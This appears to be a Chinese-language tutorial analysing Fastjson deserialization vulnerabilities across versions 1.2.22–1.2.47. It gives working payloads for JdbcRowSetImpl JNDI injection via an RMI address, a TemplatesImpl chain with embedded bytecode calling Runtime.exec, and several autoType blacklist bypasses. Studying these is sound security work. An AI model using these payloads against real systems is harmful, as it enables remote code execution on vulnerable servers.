Fastjson介绍
Fastjson是一个java库,可以将java对象转化为JSON格式,也可以将JSON字符转换为java对象
JSONObject.toJsonString
方法可以将对象转化为Json字符串
JSONObject.parseObject
方法可以将Json字符串转化为对象
demo:
Person类:
public class Person {
private String name;
private Integer age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAge() {
return age;
}
public void setAge(Integer age) {
this.age = age;
}
}
public class Test {
public static void main(String[] args) {
Person person = new Person();
person.setName("Xux");
person.setAge(114514);
String str = JSONObject.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(str);
System.out.println(JSONObject.parse(str));
System.out.println(JSONObject.parseObject(str));
}
}
fastjson允许用户在反序列化数据中通过@type
指定反序列化的目标类
fastjson会在序列化的时候调用类中各属性的get方法,在反序列化的时候会调用set方法
1.2.22-1.2.24
JdbcRowSetImpl链
public class Test {
public static void main(String[] args) {
String Poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(Poc);
}
}
反序列化的时候调用了setDataSourceName
和setAutoCommit
setDataSourceName:
将dataSource赋值为rmi地址
setAutoCommit:
对dataSource进行lookup,造成JNDI注入
TemplatesImpl链
public class Test {
public static void main(String[] args) {
String Poc = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQALQoABgAgCgAhACIIAA4KACEAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAPTGNvbS90ZXN0L0V2aWw7AQAEY2FsYwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAApFeGNlcHRpb25zBwAmAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwABwAIBwAoDAApACoMACsALAEADWNvbS90ZXN0L0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAASgACAAIAAAAOKrcAAbgAAhIDtgAETLEAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAABYAAgAAAA4ADAANAAAADQABAA4ADwABABAAAAAEAAEAEQABABIAEwACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAEQALAAAAIAADAAAAAQAMAA0AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAABABIAGQACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAFAAVAAEAAAABABoAGwACAAAAAQAcAB0AAwAQAAAABAABABgAAQAeAAAAAgAf\"],\"_name\":\"xux\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSONObject.parseObject(Poc, Feature.SupportNonPublicField);
}
}
在反序列化的时候加入Feature.SupportNonPublicField
参数值是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
而TemplatesImpl中的这几个属性都是private的
在1.2.25后使用了checkAutoType来修复1.2.22-1.2.24的漏洞,autoTypeSupport属性默认为False,当autoTypeSupport为false时,先黑名单过滤在白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
开启autoTypeSupport:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1.2.25-1.2.41
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);
分析:
调用了checkAutoType
进行了一系列获取clazz的操作 但一直是null
然后调用了TypeUtils.loadClass
如果开头是L结尾是分号就将开头的L和结尾的分号去掉
得到newClassName然后loadClass,绕过了checkAutoType的检查
1.2.42
className如果以L开头以分号结尾 就将L和分号去掉 在进行黑名单校验
并且从1.2.42开始 黑名单改为哈希黑名单,目的是防止对黑名单进行分析绕过
解决方法是套两层L和分号
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;"
进入loadClass后先去掉一层L和分号 然后又调用了一次loadClass 去掉第二层
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);
1.2.43
连续出现两个L就报错
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exp\", \"autoCommit\":true}";
JSONObject.parseObject(payload);
如果开头是[
的话就再次调用loadClass ,并且将[
去掉
后面的[{
是为了不让其抛出异常
之后的版本的checkAutoType添加了对[
的检查,若开头是[
则直接抛出异常
1.2.45
可以使用另一条链
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/Exp\"}}";
JSONObject.parseObject(payload);
由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单中,所以直接能绕过checkAutoType的检测
直接看他的setProperties方法
直接对我们传入的data_source进行了lookup 造成JNDI注入
1.25-1.47通杀(无需开启AutoTypeSupport)
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/Exp",
"autoCommit":true
}
}
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测